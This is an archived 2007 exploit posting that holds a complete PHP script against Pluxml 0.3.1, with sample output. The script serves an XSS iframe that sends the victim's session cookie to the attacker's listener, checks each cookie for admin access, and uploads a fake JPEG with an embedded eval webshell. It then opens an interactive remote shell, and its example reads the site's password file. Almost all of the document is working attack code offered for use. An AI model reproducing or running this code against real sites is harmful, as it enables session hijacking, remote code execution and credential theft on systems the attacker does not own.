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SecurityvulnsSECURITYVULNS:DOC:17351HistoryJun 26, 2007 - 12:00 a.m.
Pluxml 0.3.1 Remote Code Execution Exploit
2007-06-2600:00:00
vulners.com
15
<?php
This file require the PhpSploit class.
If you want to use this class, the latest
version can be downloaded from acid-root.new.fr.
Note: The new version is compatible with PHP 4 by default.
##############################################################
error_reporting(E_ALL ^ E_NOTICE);
require('phpsploitclass.php');
C:\> sploit.php -url http://victim.com/pluxml0.3.1/ -ip 90.27.10.196
[/]Waiting for connection on http://90.27.10.196:80/
[!]Now you have to make the victim to click on the url
[+]Received 395 bytes from 182.26.54.2:2007
[+]Sending 366 bytes to 182.26.54.2:2007
[+]Received 326 bytes from 182.26.54.2:2009
[+]Sending 366 bytes to 182.26.54.2:2009
[+]Received 692 bytes from 182.26.54.2:2010
[!]Received one cookie from 182.26.54.2:2010
[/]Verifying if there is a valid session id cookie
[-]No: pollvote=1
[!]Yes: PHPSESSID=c6255827c1a07c51a95af691a612484b
[+]The created socket has been shut down
$shell> whoami
darkfig
if($argc < 5)
{
print("
------------ Pluxml 0.3.1 Remote Code Execution Exploit -------------
Credits: DarkFig <[email protected]>
URL: acid-root.new.fr || mgsdl.free.fr
IRC: #[email protected]
Note: Coded for fun 8)
Usage: $argv[0] -url <> -ip <> [Options]
Params: -url For example http://victim.com/pluxml0.3.1/
-ip The IP that will be bound to the socket
Options: -port The socket will listen on this port (default=80)
-proxy If you wanna use a proxy <proxyhost:proxyport>
-proxyauth Basic authentification <proxyuser:proxypwd>
");exit(1);
}
PhpSploit object
####################
$xpl = new phpsploit();
$xpl->agent('Firefox');
Server
##########
$server_addr = getparam('ip',1);
$server_port = (getparam('port')!='') ? getparam('port') : '80';
$server_url = "http://$server_addr:$server_port/";
Victim
##########
$hack = getparam('url',1);
$html = "<h1>hello :)</h1>\n";
Apparently my XSS bypass NoScript protection
################################################
$xss = "<iframe src='${hack}pluxml/admin/auth.php?msg="
."<script>document.location=(".char($server_url.'?c=')
.".concat(document.cookie))</script>'"
." height=0 width=0>";
Socket
##########
$handle = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($handle, $server_addr, $server_port);
socket_listen($handle);
print "\n[/]Waiting for connection on $server_url";
print "\n[!]Now you have to make the victim to click on the url";
Wait until we get admin rights
##################################
while(TRUE)
{
$packet = '';
if(!$msg = socket_accept($handle))
exit(1);
# End of the packet ?
######################
while(!ereg("\r\n\r\n",$packet))
$packet .= socket_read($msg, 2048, PHP_BINARY_READ);
socket_getpeername($msg, $clientaddr, $clientport);
print "\n[+]Received ".strlen($packet)." bytes from $clientaddr:$clientport";
# Server response
##################
$serv =
"HTTP 1.x 200 OK\r\n"
."Connection: close\r\n"
."Transfer-Encoding: chunked\r\n"
."Content-Type: text/html\r\n\r\n"
.$html.$xss."\r\n\r\n";
# Is there a cookie ?
#######################
if(preg_match("#\?c=(\S*) HTTP/1\.([01x]+)#", $packet, $cookies))
{
print "\n[!]Received one cookie from $clientaddr:$clientport";
print "\n[/]Verifying if there is a valid session id cookie";
$cookie = explode(';%20',$cookies[1]);
foreach($cookie as $session)
{
# Valid session id ?
#######################
if(is_valid_session($session))
# Let's upload a file
#######################
code_execution();
}
print "\n[-]No valid session id cookie found";
print "\n[/]Always waiting for connection";
}
# Answer to the client
########################
else
{
print "\n[+]Sending ".strlen($serv)." bytes to $clientaddr:$clientport";
socket_write($msg, $serv, strlen($serv));
}
socket_close($msg);
}
Function which is like getopt()
###################################
function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param)
return $argv[$value+1];
}
if($opt)
exit("-$param parameter required");
else
return;
}
Bypass magic_quotes_gpc
###########################
function char($data)
{
$char = 'String.fromCharCode(';
for($i=0;$i<strlen($data);$i++)
{
$char .= ord($data[$i]);
if($i != (strlen($data)-1))
$char .= ',';
}
return $char.')';
}
Admin session always available ?
###################################
function is_valid_session($session)
{
global $xpl,$hack;
$xpl->addheader('Cookie',$session);
$xpl->get($hack.'pluxml/admin/index.php');
if(eregi('Location: auth.php', $xpl->getheader()))
{
print "\n[-]No: $session";
return FALSE;
}
else
{
print "\n[!]Yes: $session";
return TRUE;
}
}
File upload vulnerability
#############################
function code_execution()
{
global $xpl,$hack,$msg;
socket_close($msg);
print "\n[+]The created socket has been shut down";
# +images.php [File Upload Vulnerability]
# |
# 11. if(!empty($_FILES)){
# 12. $uploaddir = '../../images/';
# 13. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
# 14. if(getimagesize($_FILES['userfile']['tmp_name'])){
# 15. move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile);
# 16. chmod($uploadfile, 0777);
# 17. $msg = 'Image envoyΠΉe';
# 18. }else{
# 19. $msg = 'Le fichier n\'est pas une image';
# 20. }
# 21. header('Location: images.php?msg='.$msg);
# 22. }
#
# Fake JPG 1x1
# 000000A0 007F 3C3F 7068 700D 0A69 6628 6973 7365 ..<?php..if(isse
# 000000B0 7428 245F 5345 5256 4552 5B48 5454 505F t($_SERVER[HTTP_
# 000000C0 5348 454C 4C5D 2929 0D0A 7B0D 0A70 7269 SHELL]))..{..pri
# 000000D0 6E74 2031 3233 3435 3637 3839 3130 3131 nt 1234567891011
# 000000E0 3132 3B0D 0A65 7661 6C28 245F 5345 5256 12;..eval($_SERV
# 000000F0 4552 5B48 5454 505F 5348 454C 4C5D 293B ER[HTTP_SHELL]);
# 00000100 0D0A 7072 696E 7420 3132 3334 3536 3738 ..print 12345678
# 00000110 3931 3031 3131 323B 0D0A 7D0D 0A3F 3EFF 9101112;..}..?\>.
#
$fakejpg =
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00"
."\x60\x00\x60\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06"
."\x05\x08\x07\x07\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B"
."\x0C\x19\x12\x13\x0F\x14\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20"
."\x24\x2E\x27\x20\x22\x2C\x23\x1C\x1C\x28\x37\x29\x2C\x30\x31"
."\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C\x2E\x33\x34\x32\xFF"
."\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D\x0D\x18\x32"
."\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
."\x32\x32\x32\x32\x32\x32\x32\x32\xFF\xFE\x00\x7F\x3C\x3F\x70"
."\x68\x70\x0D\x0A\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5F"
."\x53\x45\x52\x56\x45\x52\x5B\x48\x54\x54\x50\x5F\x53\x48\x45"
."\x4C\x4C\x5D\x29\x29\x0D\x0A\x7B\x0D\x0A\x70\x72\x69\x6E\x74"
."\x20\x31\x32\x33\x34\x35\x36\x37\x38\x39\x31\x30\x31\x31\x31"
."\x32\x3B\x0D\x0A\x65\x76\x61\x6C\x28\x24\x5F\x53\x45\x52\x56"
."\x45\x52\x5B\x48\x54\x54\x50\x5F\x53\x48\x45\x4C\x4C\x5D\x29"
."\x3B\x0D\x0A\x70\x72\x69\x6E\x74\x20\x31\x32\x33\x34\x35\x36"
."\x37\x38\x39\x31\x30\x31\x31\x31\x32\x3B\x0D\x0A\x7D\x0D\x0A"
."\x3F\x3E\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00"
."\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01"
."\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02"
."\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00"
."\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D"
."\x01\x02\x03\x00\x04\x11\x05\x12\x21\x31\x41\x06\x13\x51\x61"
."\x07\x22\x71\x14\x32\x81\x91\xA1\x08\x23\x42\xB1\xC1\x15\x52"
."\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17\x18\x19\x1A\x25"
."\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43\x44\x45"
."\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64"
."\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83"
."\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99"
."\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6"
."\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3"
."\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8"
."\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xC4\x00"
."\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00"
."\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B"
."\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05"
."\x04\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31"
."\x06\x12\x41\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91"
."\xA1\xB1\xC1\x09\x23\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24"
."\x34\xE1\x25\xF1\x17\x18\x19\x1A\x26\x27\x28\x29\x2A\x35\x36"
."\x37\x38\x39\x3A\x43\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55"
."\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74"
."\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88\x89\x8A"
."\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7"
."\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4"
."\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA"
."\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7"
."\xF8\xF9\xFA\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00"
."\x3F\x00\xF7\xFA\x28\xA2\x80\x3F\xFF\xD9";
$formdata = array(
frmdt_url => $hack.'pluxml/admin/images.php',
'userfile' => array(
frmdt_filename => 'iwashere.php',
frmdt_content => $fakejpg));
$xpl->formdata($formdata);
print "\n\$shell> ";
while(!preg_match('#^(quit|exit)$#', ($cmd = trim(fgets(STDIN)))))
{
# $shell> cat ../pluxml/conf/password.xml
########################################
$xpl->addheader('Shell',"system('$cmd');");
$xpl->get($hack.'images/iwashere.php');
$content = explode('1.23456789101E+014',$xpl->getcontent());
print $content[1]."\n\$shell> ";
}
exit(0);
}
?>